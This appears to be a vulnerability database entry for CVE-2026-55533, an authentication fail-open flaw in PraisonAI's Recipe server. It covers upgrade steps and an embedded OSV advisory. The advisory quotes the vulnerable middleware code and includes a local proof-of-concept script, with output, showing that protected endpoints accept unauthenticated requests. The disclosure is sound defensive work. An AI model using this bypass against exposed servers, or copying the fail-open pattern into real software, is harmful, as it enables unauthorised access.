CVE-2026-55533: PraisonAI Authentication Fail-open Vulnerability
HIGHCVE-2026-55533 is a HIGH (CVSS 8.2) authentication fail-open vulnerability (CWE-287: Improper Authentication) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves authentication fail-open in recipe server allows unauthenticated access when api key or jwt auth is configured without a secret. Remediation is available by upgrading affected packages to version 4.6.58.
CVE-2026-55533 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).
How to Fix CVE-2026-55533
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install PraisonAI>=4.6.58
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show PraisonAI
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55533, inspect your installed packages using pip:
pip show PraisonAI
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.58), your application is affected.
Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55533 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
PraisonAI
|
PyPI |
< 4.6.58
|
4.6.58
|
References
Frequently Asked Questions
What is CVE-2026-55533?
Which PraisonAI versions are affected?
What version fixes CVE-2026-55533?
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What CWE is associated with CVE-2026-55533?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gfq8-hmph-9gjv",
"modified" : "2026-08-25T15:15:54Z",
"published" : "2026-08-25T15:15:54Z",
"aliases" : [ "CVE-2026-55533" ],
"summary" : "PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret",
"details" : "### Summary\n\nThe PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing.\n\nThis creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.\n\nThe issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != \"none\"`. It does not verify that an actual API key or JWT secret exists.\n\n### Details\n\nThe Recipe server documents the following authentication modes:\n\n- `none`\n- `api-key`\n- `jwt`\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/recipe/serve.py`\n- `src/praisonai/praisonai/cli/features/recipe.py`\n\nIn `create_auth_middleware()`, the API key middleware resolves the expected key as:\n\n```python\nexpected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n\nif not expected_key:\n # No key configured, allow request\n return await call_next(request)\n```\n\nThis means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing.\n\nThe JWT middleware has the same fail-open behavior:\n\n```python\nsecret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\nif not secret:\n return await call_next(request)\n```\n\nThe auth middleware is still attached when `auth` is configured:\n\n```python\nauth_type = config.get(\"auth\")\nif auth_type and auth_type != \"none\":\n auth_middleware = create_auth_middleware(\n auth_type,\n api_key=config.get(\"api_key\"),\n jwt_secret=config.get(\"jwt_secret\"),\n )\n if auth_middleware:\n middleware.append(Middleware(auth_middleware))\n```\n\nThe CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `\"none\"`:\n\n```python\nif host != \"127.0.0.1\" and host != \"localhost\" and auth == \"none\":\n self._print_error(\"Auth required for non-localhost binding. Use --auth api-key or --auth jwt\")\n return self.EXIT_POLICY_DENIED\n```\n\nTherefore, this command passes the safety check:\n\n```bash\npraisonai recipe serve --host 0.0.0.0 --auth api-key\n```\n\nHowever, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication.\n\nAffected endpoints include:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n- `POST /v1/recipes/validate`\n- optional `POST /admin/reload` when `enable_admin` is true\n\n### PoC\n\nThe following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_recipe_auth_fail_open.py\n```\n\n`poc_recipe_auth_fail_open.py`:\n\n```python\nimport os\nimport sys\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Ensure no secrets are present in the environment.\nos.environ.pop(\"PRAISONAI_API_KEY\", None)\nos.environ.pop(\"PRAISONAI_JWT_SECRET\", None)\n\nfrom praisonai.recipe.serve import create_app\n\n# api-key auth selected, but no key configured.\napp_open = create_app({\"auth\": \"api-key\", \"enable_admin\": True})\nclient_open = TestClient(app_open)\n\nprint(\"api-key auth with missing key:\")\nprint(\"GET /openapi.json:\", client_open.get(\"/openapi.json\").status_code)\nprint(\"POST /admin/reload:\", client_open.post(\"/admin/reload\").status_code)\n\n# api-key auth selected with an actual key configured.\napp_closed = create_app({\n \"auth\": \"api-key\",\n \"api_key\": \"expected\",\n \"enable_admin\": True,\n})\nclient_closed = TestClient(app_closed)\n\nprint(\"\\napi-key auth with configured key:\")\nprint(\"missing key:\", client_closed.post(\"/admin/reload\").status_code)\nprint(\"wrong key:\", client_closed.post(\n \"/admin/reload\",\n headers={\"X-API-Key\": \"wrong\"},\n).status_code)\nprint(\"correct key:\", client_closed.post(\n \"/admin/reload\",\n headers={\"X-API-Key\": \"expected\"},\n).status_code)\n\n# jwt auth selected, but no JWT secret configured.\napp_jwt_open = create_app({\"auth\": \"jwt\"})\nclient_jwt_open = TestClient(app_jwt_open)\n\nprint(\"\\njwt auth with missing secret:\")\nprint(\"GET /openapi.json:\", client_jwt_open.get(\"/openapi.json\").status_code)\n```\n\nObserved output:\n\n```text\napi-key auth with missing key:\nGET /openapi.json: 200\nPOST /admin/reload: 200\n\napi-key auth with configured key:\nmissing key: 401\nwrong key: 401\ncorrect key: 200\n\njwt auth with missing secret:\nGET /openapi.json: 200\n```\n\nThe important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong.\n\n### Impact\n\nIn an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication.\n\nThis gives unauthenticated access to recipe execution endpoints such as:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n\nIf admin endpoints are enabled, the attacker can also access:\n\n- `POST /admin/reload`\n\nThe impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "PraisonAI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.6.58"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287", "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-25T15:15:54Z",
"nvd_published_at" : null
}
}